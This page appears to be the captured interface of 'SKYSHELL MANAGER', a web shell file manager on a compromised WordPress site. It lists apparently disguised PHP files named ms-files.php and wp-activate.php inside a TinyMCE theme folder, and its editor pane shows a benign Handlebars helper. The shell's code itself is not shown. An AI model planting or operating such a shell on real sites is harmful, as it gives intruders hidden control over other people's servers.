📁
SKYSHELL MANAGER
PHP v8.3.6
Create
Create
Path:
root
/
var
/
www
/
cstage
/
wp-includes
/
js
/
tinymce
/
themes
/
Name
Size
Perm
Actions
📁
inlite
-
0755
🗑️
🏷️
🔒
📁
modern
-
0755
🗑️
🏷️
🔒
📄
ms-files.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: with.js
import { appendContextPath, blockParams, createFrame, isEmpty, isFunction } from '../utils'; import Exception from '../exception'; export default function(instance) { instance.registerHelper('with', function(context, options) { if (arguments.length != 2) { throw new Exception('#with requires exactly one argument'); } if (isFunction(context)) { context = context.call(this); } let fn = options.fn; if (!isEmpty(context)) { let data = options.data; if (options.data && options.ids) { data = createFrame(options.data); data.contextPath = appendContextPath( options.data.contextPath, options.ids[0] ); } return fn(context, { data: data, blockParams: blockParams([context], [data && data.contextPath]) }); } else { return options.inverse(this); } }); }
Save